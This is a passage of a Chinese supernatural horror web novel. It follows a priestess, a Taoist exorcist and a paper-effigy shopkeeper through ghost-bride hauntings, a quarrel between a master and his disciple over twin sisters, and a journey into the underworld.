宫玄烛知道对方是在消遣自己,也不气恼,自顾自坐在了旁边太师椅上。
裴暮雪看向了店主人,居然罕见地笑了一下:“我说今日琼儿怎么开门这般迟,原来是在招待客人。”
琼儿微微一笑:“裴道长又接到祈愿了吗?”
二人你一言我一语,居然是早就认识的。
“不知少祭司来这红线坊有何贵干啊。”裴暮雪似是随口一说,并没有兴趣听对方的答案,兀自抿着热气氤氲的茶水。
“红线坊?”宫玄烛进来的时候没有注意店铺名字,如今听他说起,觉得有些诡异,一个纸扎店叫红线坊,是为了给死人牵红线么,当真有意思。
裴暮雪笑而不语。
夜半子时——
更夫清亮的梆子声敲了三下,仿佛近在耳畔,又仿佛远在天边,这让寂静的小店里更添一丝紧张的气氛。不知从哪里吹进来的风,纸新娘的衣摆哗啦作响,她们典雅端庄地站着,头上的盖头、身上的飘带微微摇晃,盖头不停被风掀起一角,隐约能看见最前面一个纸新娘苍白的脸和血红的唇,仿佛真的活过来了一样。
哐当一下,最前面一个纸新娘被风吹倒了,质量还挺好,摔破了一点纸糊的衣服,透过破洞可以看到里面是竹编骨架,有规律的纵横交叉,仿佛人的肋骨。
店老板钟诗琼早就撑不住去二楼睡觉了,而宫玄烛和裴暮雪两人就这么守着一盏灯坐在一楼,各揣心腹事,相对无言,两个人谁都没理会那个被风刮倒的纸新娘。
窗外,风声呜呜咽咽,仿佛深宫幽怨的女子在哭泣,凄凉而诡异。
钟诗琼拿被子蒙上头,辗转反侧无法入睡,她反复告诉自己,裴暮雪就在楼下守着,出不了什么事,至于那位皇城的少祭司,看着也不像坏人,应该是友非敌。
本想安心睡去,可是心跳越来越剧烈,惊惧、恐慌,黑暗中仿佛有无数双手在慢慢伸向她……
恍然,钟诗琼感觉自己动不了了,身体像是被死死粘在床上,全身的筋骨仿佛断掉了一般,她连手都抬不起来,胸口压着一团重物,她喘不过气来,也喊不出声音。
她感觉有什么东西在靠近自己,揪住了她的头发,死死拉扯着,拉得她头皮生疼,她想喊裴暮雪,却怎么也喊不出声,紧接着,她感觉有一双冰凉的手攥住了自己的脚踝,她拼命蹬腿也甩不掉那双铁箍一般的手,脚趾上忽然传来钻心蚀骨的疼痛。不知为何,钟诗琼虽然睁不开眼睛,却知道那是有人在拿铁钉子往自己脚趾上钉着,一根又一根,恶鬼拿着榔头,狠狠将铁钉钉入她每一根脚趾,那种疼痛和恐惧让钟诗琼窒息又绝望,内心拼命嘶喊着救命!
钟诗琼玩命地挣扎着,恍然惊醒过来!长长舒了一口气,屋子里一片黑暗,她恍恍惚惚下床,打算点燃蜡烛,就在这时,她居然看见自己床上坐着一个小孩!
小孩穿着破破烂烂的白色衣服,在黑暗中明晃晃的刺着她的眼睛,白衣上斑斑点点都是黑色的血迹,小孩面色惨白,瞪着黑洞洞、冷冰冰的眼睛看着她,樱桃小嘴渐渐裂开,无声地笑着,越笑嘴巴咧地越大,最后嘴角撕裂到了耳后根,鲜血一道道顺着他的嘴角往下流。
钟诗琼仿佛被施了定身法,脑子里拼命想点蜡烛,可是身体就是动不了,只能看着那个小鬼转过身,屁股朝着她,小脚在空中乱蹬寻找落脚点。
蜡烛!点蜡烛!我要点蜡烛!
钟诗琼发狠得咬着嘴唇,尝到一丝血腥味终于恢复了知觉,手指僵硬地抓起火柴盒,哆哆嗦嗦拿起一根,可是那火柴根本擦不着,仿佛故意跟钟诗琼作对,每次燃起一点火星就熄灭了,钟诗琼急得满头大汗,火柴已经擦完了半盒。
那小鬼已经下来了,摇摇晃晃,一点点朝她移动过来,漆黑的眼睛、咧着血盆大口,钟诗琼的头皮都快炸了。
心脏剧烈地颤动,仿佛听见有人在喊自己的名字,那声音一会儿在屋子外面,一会儿又在她耳畔。
琼儿……琼儿……
那个声音不像男人,也不像女人,一声声十分有耐心地呼唤她。
她记起去世的爷爷说过,夜里无论是谁喊你的名字都不要回答,一开口就相当于答应了那些东西的“邀请”。
别喊了,别喊了,住口,住口啊!
钟诗琼歇斯底里地咆哮着,灵魂仿佛都要被撕碎了一般,脑子里充斥着各种画面和声音,全身每一个毛孔都在颤抖。
忽然,她感觉压在身上的重物消失了,不再那么窒息,她贪婪地呼吸着新鲜空气,浑身被冷汗打湿,中衣黏黏腻腻粘在皮肤上,这才意识到刚才又做噩梦,在噩梦里她总是在拼命地逃跑、努力地求生,她不禁有些后怕,如果在梦里死了,现实中的她是否会一起死去?
朦朦胧胧睁开眼,还是熟悉的房间,青色的床帐安安静静地垂落,钟诗琼翻了个身面向窗户,然后她的呼吸就停滞了,月光透过窗户洒在地板上,一切虽处在黑暗中,但能看清家具的剪影。
她的梳妆台前,坐了个人,身量纤细高挑,从头到脚都是红色,那红色仿佛一滩血,又仿佛黑夜中明明灭灭的炭火。
等钟诗琼看清细节时,她一颗心几乎跳出嗓子眼,那是,她亲手扎的纸新娘!
钟诗琼浑身僵住,不知道自己该怎么办,若是睁眼看着,那纸新娘回头了怎么办?若是闭眼,她下一刻走到自己床头盯着自己看怎么办?
我是不是还在做梦?钟诗琼掐了自己一下,很疼,可是没用,以往在梦里她也会被痛觉欺骗,以
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为自己醒来了,其实只是梦中梦。
钟诗琼看着红衣新娘动了一下,惊恐之下闭上眼睛装睡,然后她就感觉有一道冷冰冰的视线悬在脑袋上,如同一把随时要落下来的锋利毒刃,冰冷的风一阵阵吹在她脸上,钟诗琼勉力控制住自己在被子下瑟瑟发抖的身体,尽量装出睡熟的样子。
心里却在尖叫:裴道长救命啊!
钟诗琼感觉自己现在一睁眼就能跟纸新娘对视上,那她一定会当场灵魂出窍。时间一分一秒的过去,简直是渡秒如年。
……
宫玄烛蓦然回首,发现地上的东西居然没了,微微一笑提醒对面:“裴道长,倒地上那个纸新娘不见了。”
裴暮雪慌了一下,迅速睁眼,追问道:“什么时候?”
宫玄烛:“就在你刚才闭目养神的时候。”
“琼儿!”
提着鬼头刀火速上二楼,一脚踹开门就看见床上并排躺着两个人,里面是面容扭曲双目紧闭的钟诗琼,外面那个是一身红色嫁衣,盖着红盖头的纸新娘。
而这时,红衣新娘飘然起身,以一种奇怪的方式缓缓朝裴暮雪靠近,钟诗琼也急忙坐了起来,除了吓得脸色惨白似乎没有大碍。
裴暮雪暗自猜测,莫非是因为钟诗琼八字纯阴,这女鬼想要夺舍不成,他愠怒道:“天堂有路你不走,再敢滋扰凡人休怪道爷不客气了!”
红衣新娘却紧紧盯着他,似乎在等什么,还往这边挪了两步,气得裴暮雪怒火三千丈:“有胆量!”
噌——背后宽刃鬼头刀哗然出鞘,隐隐有龙吟之声,裹挟飞沙走石直奔女鬼面门而去。
“等等!”
床上的钟诗琼忽然制止道:“道长!还是先弄清楚再说吧。”
“她又不会说话,鬼知道她想干什么。若是我,宁可错杀绝不放过。”宫玄烛提着魂灯慢悠悠走了上来,未语先笑,一副看热闹的心态。
女鬼却直奔裴暮雪而去,裴暮雪被一再挑衅岂有罢休之理,女鬼这次却停滞了一下,转身退去,如同一只翩翩飞走的蝴蝶,倏忽不见了身影。
裴暮雪盯着女鬼消失的窗户,钟诗琼忽然嘴唇颤抖,瞳孔骤然缩小,惊慌失措道:“道长你背后!”
裴暮雪眉毛拧了拧:“这种时候开什么玩笑?”
钟诗琼急得差点哭出来:“真的!你快看啊!”
裴暮雪一回头却什么也没看见,气得要死:“钟诗琼!”
钟诗琼委屈极了,她刚才明明看到裴暮雪身后站着一个人影,面对对方的指责却有口莫辨,可怜兮兮地抱着头:“不信拉倒!刚才你身后真的有个白衣服的……漂亮姐姐……”
裴暮雪舔舔后槽牙,简直要被她气笑了:“真有邪物我怎么可能感觉不到……”
忽然间背后一凉,他猛得回头,这次真看到了,这个可比刚才的血衣新娘更邪乎,一身绣着海棠睡莲的对襟龙凤褂,眼睛上蒙着一条白菱纱,冷艳不可方物,似乎正在凉嗖嗖地“看着”他。
5. 红白双煞 Stop!
裴暮雪惊了一下又恢复镇定,冷笑道:“有意思,身为冥族却不带阴气,莫非是个活死人?”
他走一步那新娘就退一步,不由勃然大怒,刚才惊起的一点冷汗,全化作被三番两次戏弄的怒火:“我还不信追不上你!”
裴暮雪死死追着那白衣新娘,从红线坊二楼窗户里一跃而下追到了大街上,街头空空荡荡,连片落叶也没有,皎洁的月光洒在地面上,前方是幽幽弥漫的蓝雾,雾气中是那个如仙似鬼的纸新娘,她脚步轻盈,仿佛一只诡异而梦幻的蝴蝶。
在他的手指快要触碰到新娘的衣角时一团寒雾散开,一个身着白衣,俊美无俦的男子出现了,那个白衣新娘就在他身边,男子生得异常俊雅,剑眉星目,一身白衣如同谪仙,却带这一股沉郁的死气,衣摆袖口上是或绽放或羞拢的彼岸花,微微一笑很好说话的样子:“若我妻有得罪之处,我替她赔个不是,这位道长得饶人处且饶人吧。”
裴暮雪感受到了那男人身上积压百年之久的死气,心里清楚这位不是普通鬼魅,鬼妻么?
裴暮雪冷冷一笑,与那位对视:“怪不得此女能肆意穿行阴阳两界冲撞凡人,原来身后有大人物撑腰,失敬失敬。”
白衣男子笑道:“若只是冲撞道长大人不记小人过吧,我妻天性纯良,我相信她不会做什么坏事的。”
裴暮雪道:“希望阁下所言非虚,万一她并非表里如一,那么下次巧遇裴某大概不会再怜香惜玉、一笑了之了。”
那两人渐行渐远,依稀听到那男子温声细语道:“你没有给我添麻烦,下次遇到这种臭道士就绕着走。”
裴暮雪:……
又听他道:“累不累啊?要出去玩就告诉我一声,人界很危险的,别让我担心好不好?”
裴暮雪咬牙。
怎么你们还要组团来?
不过这二人白衣飘飘,行走在夜色之中,男子风流倜傥,女子冷艳无双,当真是凄美至极,诡谲至极。
裴暮雪追着白衣鬼新娘出去,宫玄烛估摸着时间差不多了,提着魂灯正要往外面走,一个声音忽然喊住了她,怯生生道:“我能跟着你吗?裴道长走了,我一个人害怕……”
宫玄烛微微一笑,眼眸弯弯,仿佛一只小狐狸:“好啊,多谢你收留我大半夜,走吧,善良的小姐姐,我带你去找你的裴道长。”
魂灯在黑夜中发出幽幽蓝光,映照着提灯少女身上的黑纱折射出蓝紫色的迷蒙光辉,她身材纤细,似乎比自己还要小一点。
钟诗琼紧紧跟在宫玄烛身后,刚想说点什么打破尴尬的气氛,恍然发觉长长的街道尽头,牌坊底下站着一个人,月光之下,那姑娘一身新娘打扮有熟悉的气息,红衣花团锦簇,头上金玉堆砌,立在阴风中红袖招展。
宫玄烛看着那个红嫁衣女鬼有有些脑袋疼,到底是为什么想不开在新婚之夜死去,这么大的怨气要是撒我身上,我不得连骨头渣子都不剩?
她强作镇定:“这是不是之前你房间里那个……”
钟诗琼紧张地咽咽口水,磕磕绊绊道:“裴道长不是追着她去了吗……怎么又回来了?”
“跑!”
宫玄烛当机立断拉着钟诗琼就往回跑,对方实力、目的不明还是不要硬碰硬。
跑是跑不了了,红衣女鬼瞬间移动到了她们面前,这下看得更真切了,女鬼的脸白到发青,涂着腥红的口脂,金丝喜字的红盖头影影绰绰挡着上半张脸。
钟诗琼大叫:“裴道长!”
宫玄烛觉得自己被看扁了,横剑在前:“你嚷什么?区区女鬼而已,本祭司能收拾她!”
然后她就眼睁睁看着自己的剑被女鬼徒手拧成了麻花,宫玄烛冷汗就下来了。剑被女鬼死死攥住,感觉一股拉力从另一头袭来,宫玄烛连忙甩开手,眼看来不及了,惯性之下身体就向着女鬼撞去。
“啊!”钟诗琼吓得尖叫一声,那惨叫声传遍整个小镇上空。
危急时刻紧要关头一袭白衣身影挡在了宫玄烛前面,隔开了她和红衣女鬼的亲密接触,宫玄烛往白衣新娘身上一撞,鼻子差点撞歪了,疼得她直飙眼泪。
是真硬啊!
白衣新娘冷森森地挡在二人前面,不知意欲何为,吓得两个活人大气也不敢喘。
钟诗琼绝望地闭上了眼睛:完了,今天定要折在两个女鬼手中了。
红衣女鬼扬起利爪直扑过来,白衣新娘在电光火石之间钳住了她的手臂,两鬼居然撕扭在了一起,红衣如火白衣如雪,斗得天昏地暗日月无光。
钟诗琼都快哭了:“她们不会是在争抢猎物吧?”
宫玄烛反倒镇定下来了,有变数好啊,有变数就有逃生的机会,三十六计走为上策。
宫玄烛朝钟诗琼使个眼色,两个人偷偷向后挪去,红衣鬼不知何时竟然追了上来,白森森的鬼爪如同嗜血夺命的钩钳狠狠袭向钟诗琼后脑勺,这一下万一抓上钟诗琼脑浆都得流出来,身后一声闷响,有什么东西撞在了钟诗琼身后。
她回头不由倒吸一口冷气,那个白衣新娘居然就在自己身后,肩头的衣服被抓得粉碎,她不会流血,伤口处只能看见被撕碎的粉红皮肉和冷森白骨。
她应该也是感觉不到疼,根本没有在意那个伤口,白衣一闪继续扑向了红衣女鬼,可是移动的速度明显比之前慢了不少。
这二人继续逃命,躲进了一座老旧的城隍庙里,里面灯火昏暗,几根蜡烛半着不着,映亮了上方红脸判官的下半张脸,从这个角度看去,怒发冲冠、紧咬后槽牙的判官仿佛在俯视她们。
一阵阴风吹过,半死不活的蜡烛彻底熄灭,庙里陷入一片黑暗,宫玄烛站在窗户前,拿指尖戳破窗户纸,从一个小圆洞里观察着街道上的情况。
忽然感觉身后有轻微的声响,仿佛是重物被移动的声音,沙沙,沙沙,宫玄烛忍不住道:“钟老板,你在干什么?别乱动这里东西。”
远远传来钟诗琼的声音,那是带着哭腔的颤音,似乎已经濒临崩溃了:“少祭司,你到底在哪里啊?”
宫玄烛灌入灵力点燃手中魂灯,猛地一转身,发现似乎没什么异常,钟诗琼就在远处的功德箱前。
“来我这里。”
宫玄烛淡淡说了一声,目光继续在周围扫过,功德箱、香案、还有那些塑像,等等!地上的印子不对!
宫玄烛不经意发现,那些凶神恶煞的鬼判雕塑居然挪动地方了,地上明显有半圈印子,如果它们安安静静待在原地,这个印子会被完全遮盖住。
所以刚才黑暗中,重物移动的声音,原来是它们在走路
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吗?
七月十五的夜晚,还真是热闹,不过更热闹的恐怕还在后头。
宫玄烛假装不在意,拉住了钟诗琼的手继续看外面的动静,那两个女鬼没有了踪影,但她也不敢贸然出去,而身后又是沙沙的响动,宫玄烛拿余光偷瞄一眼,她侧后方那个蓝脸红胡子的判官雕塑立刻不动了。
宫玄烛咬咬牙关,外面有女鬼,里面有诡异的雕塑,到底该往哪里跑,好像怎么都是个死路一条。
钟诗琼似乎也感受到了背后危险的靠近,鬼判官的雕塑逐渐聚成了一个半包围圈,仿佛不断收紧的口袋。
宫玄烛立刻道:“钟老板,你盯着后面,我盯前面。”
“好。”钟诗琼惨白着脸,强忍着头皮炸裂的感觉回过身去,看着四尊丈二金刚似的雕塑,它们似乎在微微弯腰凝视着她,脸上的表情不像是威严,仿佛是一种残暴,然后钟诗琼就看着那四尊雕像缓缓往她们这边倾斜。
不好!这是打算砸死她们吗?
钟诗琼迅速拉着宫玄烛往城隍庙外面跑,迎面就撞上了一个纸新娘,吓得两人魂飞天外,这才注意到,这个新娘是白衣服那位。
她一出现,身后的压迫感居然消失不见了,白衣新娘旁若无人地进了城隍庙,宫玄烛再一转身便看见鬼判雕塑各归各位了,但彼此站的位置似乎乱了,宫玄烛明明记得进庙前,红脸、黑脸的判官在左上左下,蓝脸、青脸的在右上右下,这下全乱套了……就仿佛夫子突然杀进学堂慌乱之下坐错座位的小学童。
钟诗琼见了白衣新娘目露喜色:“她居然摆脱那个女鬼了,真聪明!”
可是瞥见那露出血肉白骨的可怕伤口心中又惴惴不安起来,上前一步道:“这位姐姐,你这伤……”
白衣新娘退至门口,似乎在透过门缝盯着外面,可那双眼睛分明蒙着白绫。
阴风阵阵,庙里纱幔飘扬。
咚——有什么重物落在了地上,宫玄烛只看到了一角腥红的纸衣,紧接着一股巨大的推力袭来,宫玄烛和钟诗琼被双双从门里震飞了出去,庙门哐当一声关了个严丝合缝。
接着城隍庙里乒乒乓乓一阵桌椅器皿被砸烂的声音,月色映照的窗纸上能看到两个小小的皮影一样的小人儿在飞来飞去,时而招呼逗引时而钳斗一处,不多时其中一个皮影跌下了窗台,另一个带着胜利的喜悦举起了两片如蝶翼般宽大的袖子施施然落下帷幕。
与此同时砰的一声,伴随着庙门被撞开的声音,白衣新娘如同被弹出的石子一样飞了出来,这副模样若是摔在地上可要散架了,二人正想冲上前去截住,冷不防原地冷雾腾起,如同地狱之门被打开了一半,地面不知何时出现了一条规则的裂缝,缝隙越来越大,最后变成了一方水池大小的矩形黑洞,漆黑的楼梯一直通往地底极其幽深阴暗之处,冷冷白雾泛着蚀骨寒气笼罩着那个神秘的方形黑洞,噔噔噔噔,地下居然传出了急促的脚步声,好像有人从下面飞奔上来了,钟诗琼瘫倒在地,动都动不了。
就在她眨眼之际,白衣新娘在半空被一人接住了,可那人并不是宫玄烛,而是一个从地下那黑色楼梯里跑上来的人,暂时也不知道是不是人。
那人同样一声白衣,背对着她看不清脸,但能感觉到周围的温度似乎都下降了,地面渐渐染霜。
6. 奇奇怪怪的大佬乱入
那红衣女鬼见事不妙掉头就跑,岂能如愿,那白衣男子怀抱着白衣新娘温柔如水,另一手却抬袖射出几道冰刺钉住红衣女鬼,局势彻底反转,之前是红衣鬼压着白衣新娘打,现在是这白衣男子单方面虐打这个红衣女鬼。
白衣新娘只是两条胳膊被利爪抓出了狰狞的伤痕,可是红衣女鬼的四肢都快被白衣男子扭成麻花了,若她能发出人声,那叫声绝对惨绝人寰。
“如今已经百倍奉还,九殿可解气了?”
冷雾聚拢,平川之地又施施然出现一人,带着阴森的血色面具,血盆大口里支出四颗青黑色獠牙,仿佛梼杌怪兽。
白衣男子住手了,冷声道:“管好你的人。”
面具男阴阳怪气地笑了笑:“若非你这阴仆非要多管闲事,我家樱柠又怎么会出手呢?”
“她不是我的仆人……”
“哦,忘了忘了,对不住,九殿君与我不同,拿这傀儡娃娃当妻子了,哈哈哈哈,当真是情深意重……”
白衣男子没理他,径直抱着新娘往地下走去。
面具男却不再笑了,侧目冷声道:“废物,还不滚回去!”
红衣女鬼战战兢兢从地上爬了起来。
她忽然被面具男从头发上提了起来:“若非看在你还用的份上我早把你扔进油锅熬成美人油了。”
红衣女鬼似乎在瑟瑟发抖。
钟诗琼正在愣神,那面具男子不知何时居然凑到了她面前:“嗯,不错,天下居然还有这种妙物,小姑娘,山水有相逢,以后我定会好好关照你的。”
钟诗琼一阵恶寒。
随着地狱之门关闭,钟诗琼才发觉宫玄烛不见了,惊吓不小,急忙喊了几声,把裴暮雪喊了过来。
裴暮雪听说了这件事,料想这宫玄烛可能已经走了,安慰了钟诗琼几句,两人便离开了。
琅嬛玄都,星辰宫。
林瑶坐在床边,轻轻拿湿手帕替床上的人擦着脸,一双寒眸染上忧色,紧握她的手源源不断输送着灵力,保住她肉身不腐。
身后脚步声响起,沉稳有力,林瑶站了起来,回身施礼:“师父。”
尹星灯看着眼前白梅素雪般的人儿,恍然想起了她十三四时的模样,那时的林瑶尚未证道,心智未开,天真烂漫,如今徒弟长大了,恭敬知礼、进退有度,人人称赞他有个好徒弟,尹星灯却莫名怅然。
“瑶儿近日脸色不太好,可是身体不适?又或是练功出了岔子?过来让为师瞧瞧。”
林瑶轻轻摇头,退开一步,让尹星灯看到陌菱如今的模样。
屋子里静悄悄,一时之间没人说话,空气似乎都凝滞住了。
尹星灯语气淡然,安慰林瑶道:“为师已经派玄烛去了,瑶儿不必担心。”
“为什么?”林瑶终于忍不住问了出来。
为什么同样都是徒弟,尹星灯却不能一视同仁,待自己如珍宝,待陌菱如草芥。自己脸色差一点他就关切殷殷,陌菱如今生死攸关他却视若无睹,她实在是想不通。
陌菱与她是双生子,从小就形影不离,她也发誓会永远保护好陌菱,可是如今,在尹星灯日复一日的偏袒下,陌菱渐渐与她形同陌路。
为什么?林瑶!为什么他心里只有你!全是你!
林瑶,是不是只有你死了,师父才会多看我一眼?
“为什么?”尹星灯看了林瑶许久,忽然轻笑,“这世间哪有那么多为什么?”
他一步步靠近,林瑶却也不曾后退,垂下眼眸默然无声,尹星灯距离她咫尺之遥停下了脚步,林瑶感觉到一只手缓缓压向了自己头顶,却又在咫尺间停住了,那人却轻叹道:“瑶儿,无论如何,你只需知道,为师会护你周全,这便足矣。”
林瑶越发不忿,她自小温顺乖巧,几乎没发过脾气,此时却动了真怒,“我只是想知道为什么!”
她眼眶微红,胸口微微起伏,深呼吸几次平复躁乱的心绪,语气缓和不少:“师父,菱儿也是你徒弟啊,我们从小一起长大,一起拜入师父门下,师父……您就不能疼疼菱儿吗?”
尹星灯听了这话,周身气息瞬间冰冷,负于身后的手微微颤抖起来,脸上依然挂着淡淡的笑意,这笑意却不达眼底,声音也较往常冷硬了不少。
“瑶儿,为师又不是帝王,对待自己的徒弟难道还要雨露均沾不成?”
他背过身,声音冷肃下来,不无嘲讽:“再者说了,君子无德怨自修,倘若今日你与陌菱异地而处,她可不见得会为你冒犯为师。”
林瑶见缝插针,急忙跟上尹星灯的脚步,保持着不远不近的距离:“可师父这个假设根本不成立,您从来没有试过对菱儿好一点,就算是我与她异地而处,我也是会有怨言的。”
“嗯?”
尹星灯闻言霍然转身,眉梢竟带了一丝笑意,语气不无调侃:“此话当真?为师若是忽略你,瑶儿当真会有怨气?那为师还真是有些期待。”
林瑶见他转移话题,不觉愤懑,清冷眉眼逐渐染上愠色。
尹星灯却陶醉其中,林瑶自及笄过后就一副少年老成的派头,鲜少露出如此娇嗔模样,当真是令人怀念。
“跟为师来。”
尹星灯带着她到了后山,此处是一片山茶花林,花开不谢,双生树一半白雪皑皑一半红云灿烂,像极了林瑶陌菱姐妹,一人清冷似雪,一人明媚如霞。
树下有两个泥捏的小人,惟妙惟肖,只是其中一个脑袋掉了下来,重重叠叠的红白茶花花瓣下,是散落的菩提珠。
林瑶仿佛被一个焦雷劈了一般,愣了许久才缓缓蹲下身,拂开花瓣将菩提珠一粒粒捡起来。
尹星灯看着她失魂落魄的模样,有些后悔带她来此地,但长痛不如短痛,也许让她知道真相,她就能真正认清陌菱的为人了。
“瑶儿,别捡了,你还想重新串起来送给她不成?”
尹星灯缓缓半跪在她面前,伸手按住她的肩膀,瞥见她樱红的眼眶,放柔了语调:“瑶儿,你向来聪慧伶俐,莫要顽固下去了,你也该想想,陌菱可曾为你做过什么?她究竟值不值得你一再付出?”
“这是我自己的事,师父不必再劝,菱儿自小就
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流落在外,受尽苦楚才回到我身边,无论如何,我绝不会再抛下她。”
一瞬无名火起,尹星灯颓然拔高语调,似是想喊醒林瑶:“那不是你的错!”
“那就是我的错!”林瑶紧紧攥着手里的菩提珠,几欲泣血,珠泪滚滚,扶着双生树的树干,额头轻轻贴在上面,仿佛抱着的不是树,而是一个人。
那年她们才八岁,玄都举办祭天游,御街之上张灯结彩,火树银花不夜天,仪仗队抬着一尊琉璃雕刻的真人大小的神女塑像从芙蕖观出发,绕着皇城玄都游行,一路上鲜花飘飞、丝竹管弦不绝于耳。
小女孩都爱看神女,三三两两在街上翘首以盼,林瑶紧紧牵着陌菱的手,陌菱提着一盏兔子灯,小姐俩穿梭在人山人海中。
那年的祭天游是最失败的一次,神轿前方的抬杆断了一根,轿夫没掌住跌了一跤,他这一摔,轿子重心不稳翻了个,里面的神女更是摔得四分五裂,裂纹斑驳的头颅滚到了林瑶她们脚边……后面的仪仗队也没刹住脚,稀里哗啦倒了一片,哭喊声四起,人人都挤着抢着脱困,许多人都在那场灾难中受了重伤,更有人丧命,一时之间掀起轩然大波。
而陌菱也正是这时候不见了,林瑶在街上哭哭啼啼找妹妹,手里提着破破烂烂的兔子灯,直到被尹星灯找到,林瑶在寒风中吹了半夜,哭了半夜,回来就发了一场高热,几乎丧命,尹星灯自是衣不解带地照料着。
双生花是一模一样的容貌,所以即便隔了六年,林瑶还是一眼就认出了陌菱,她一身红衣,露着大片雪白的肌肤,身上刺着艳丽的花纹,在台上翩翩起舞,赢得阵阵喝彩。
姐妹二人,再相见,她是名门仙姝,她是青楼舞女。
林瑶重伤了几个挑逗陌菱的纨绔子弟,紧紧抱住了失散多年的妹妹,满心的歉疚。
姐姐不会再让你受苦了……
“瑶儿……”尹星灯见她这般模样,本想伸手去安抚她,终觉不妥,黯然垂眸:“陌菱此人自私自利,城府极深,有时连为师都看不透,你莫要再执迷不悟了,为师担心终有一日她会对你下手。”
林瑶徒劳地捂住了耳朵,一副油盐不进的模样。
尹星灯也不气馁,继续道:“你若不信,那玄烛呢?为师素日也极少关照到她,她可曾有半分怨怼?瑶儿,上天生人,她的性格都是注定的,譬如你的纯真善良、玄烛的随性洒脱,你们这样的人,即使有朝一日跌落泥潭,依旧心怀慈悲,但是陌菱她不一样,她孤僻冷漠,疑神疑鬼,宁可负尽天下人也不会让自己利益受损,”
“别说了!”
林瑶霍然起身,呼吸急促:“什么天命注定,我不信!”
她脸上犹挂着泪痕,声声质问:“师父,如果一个人的命运、性情都是上天注定的,那我们活着一世又是为了什么?难道只是诸天神魔眼里的戏本吗?”
尹星灯:“自然是为了各自的使命,为了六界阴阳调和,这世间,有善就有恶,有邪就有正,因果循环,报应不爽。”
林瑶赌气离去,白衣飘摇,单薄的身影逐渐消失在远处。
7. 考弊司
冥界,忘川。
曼珠沙华妖冶无边,仿佛一片血海。
宫玄烛提着魂灯默默走在妖艳的花海之中,魂灯散发出幽蓝的光芒,映着宫玄烛半张脸森冷异常。
前方渐渐听闻水声潺潺,一条黑河拦路,水面上漂浮着点点惨白昏黄的河灯,河里隐隐传出不太真切的呜咽声。
沿着河流往下游走去,看见一个路牌,血红的异体符号分别指向三个方向,宫玄烛自然也认识这鬼画符,就算不认识下面还带翻译呢,中文简体……樱都、离恨城、枉死城。
此时追溯不到陌菱的任何气息,宫玄烛一向相信自己的运气,于是拿出一枚古钱来高高抛起。
“正面去鬼都,反面去离恨城。”
刚说完古钱已经掉了下来,咕噜噜打着旋儿,最后神奇地立住了。
宫玄烛还没来得及捡起来,河里伸出的白骨爪快人一步。
“敢问这位朋友,可曾见过一个红衣的姑娘,长得跟我一样漂亮,若见过麻烦指个路。”
宫玄烛只是随口一问,没想到那河中白骨还真的不白拿,小手一转给她指了指樱都的方向。
“谢了!”
意外之喜,宫玄烛转身往鬼都的方向走去,沿着忘川河一路往下,渐渐到了人烟稠密之处,只见一座三丈高的墨玉牌楼上龙飞凤舞两个大字,看着无端令人毛骨悚然。
“你干什么的!”
宫玄烛还没踏进牌楼就听见有人喊喝一声,那嗓音很是尖细,听着十分不舒服,一回头看见三个人影,两边是一黑一白二人,脸上皆是阴气森森,宽大的孝袍翻飞,腰间系着麻绳,手里各提锁链,而此二者中间是一个十三四岁的小姑娘,披头散发,脸色惨白。
“喂!问你呢!”
白衣的又催促道,满脸的不耐烦。
宫玄烛将一块令牌拿了出来给他们看:“二位差爷,我可是良民啊,就在城里做生意。”
这两位的衣着打扮也太有标志性,黑白无常无疑。
果然那小白道:“鬼市过了午时便宵禁了,怎么还在城外转悠?进不去了吧?”
宫玄烛连声叹气:“可不是嘛,都怪我师父,偏偏派我去枉死城那边送东西,这一来一回可老远,害我进不去城了。幸亏遇上两位差爷,差爷这是刚办案回来吧?辛苦了,我这刚卖完酒回来,还剩下一壶,请两位差爷了。”
小白忙接了,打开塞子嗅嗅,喜得连连点头:“嗯,好酒好酒!”又觑一眼宫玄烛,“你这丫头还挺懂事啊,罢了罢了,今日白大哥就发发善心,带你一块儿进城。”
“哎呀,多谢两位差官大哥了!”
小黑不善言辞,小白却话痨一般,宫玄烛少不得开始套话:“今天这案子难办吗?”
小白摇头晃脑:“说起来还挺棘手,就这小丫头,琅嬛槐荫镇人士,那个命啊是真不好,爹不疼妈不爱的,要怪就怪她这个生辰不好,清明节,刚吊死在纸扎铺外面的歪脖树上,这不让我俩给逮着了!”
那小姑娘却始终沉默不语,被两个无常拽着往前走,长发遮盖着脸。
宫玄烛:“这是个什么罪名?”
小白神情夸张:“那可惨咯!她这种人,上辈子作恶多端,所以这辈子才要受苦受难去赎罪,偏偏她受不了这轮回之苦,妄图用自杀来摆脱轮回,罪加一等!”
一直安安静静的小姑娘忽然剧烈挣扎起来,身上的锁链叮当作响,喉咙里发出的声音尖细刺耳。
“凭什么!我不服!我不服!”
两鬼差到底是更胜一筹,很快就制服了狂躁的小女鬼。
宫玄烛一心奔着八卦去,继续道:“那请教二位,这自杀之人,会受到什么处罚?”
小白回眸瞪了一眼女鬼,故意提高嗓门让她听清楚:“这个自杀的嘛,当然是下血涂地狱,让她体验上无数遍临死前的感觉,然后洗去记忆重入轮回,当然,她这次的命格虽然差了些,命中犯小人,含冤被屈,但谁让她不珍惜,下次的命格只会更差,保不齐就是街头乞丐、青楼妓子,再者断手断脚都是可能的。”
宫玄烛回头看去,女鬼缓缓勾起唇角,两行血迹顺着下颌滑下来落在地上,凝成了两朵艳丽的曼珠沙华……
那是怨怒、愤懑、还是绝望……或许都有。
上辈子做过的错事,却要这辈子来承担,焉能如此?那这一世的她岂不是很可怜,明明什么也不知道,却要受尽世态炎凉。
一直不说话的小黑忽然道:“到了……”
小白光顾着跟宫玄烛唠嗑,随口问道:“到哪了?”
那边顿了半晌:“到孽、镜台、台了!”
怪不得不说话,原来只会两个字两个字往外蹦。
小白推推搡搡,带着女鬼往一道桥上走去,长桥尽头乃是一座高台,应当就是小黑口中的孽镜台。
孽镜台上可以看到自己的前世今生。宫玄烛对前尘之事也是有些好奇,刚想说服黑白二鬼差,自己能否也观光观光,隐隐就听远处有叫嚷声。
“抓细作!有人界修士混入冥界了!”
宫玄烛一惊,面上佯装淡定,小黑小白也紧张,且先不带自杀的女鬼去孽镜台,拦住一个带头冲过来的牛鬼问道:“你这牛头,不好好在枉死城当差,乱嚷嚷什么?这可是樱都,扰了七殿清净,你这牛头就该剁下来涮牛肉火锅了。”
牛鬼一双铜铃大眼泛着红光,打了个响鼻,核桃大的鼻孔里喷出两股白气:“哼!你少拿七殿吓唬俺,俺可是奉命行事……”说着一眼瞥到宫玄烛,“你是干什么的?”
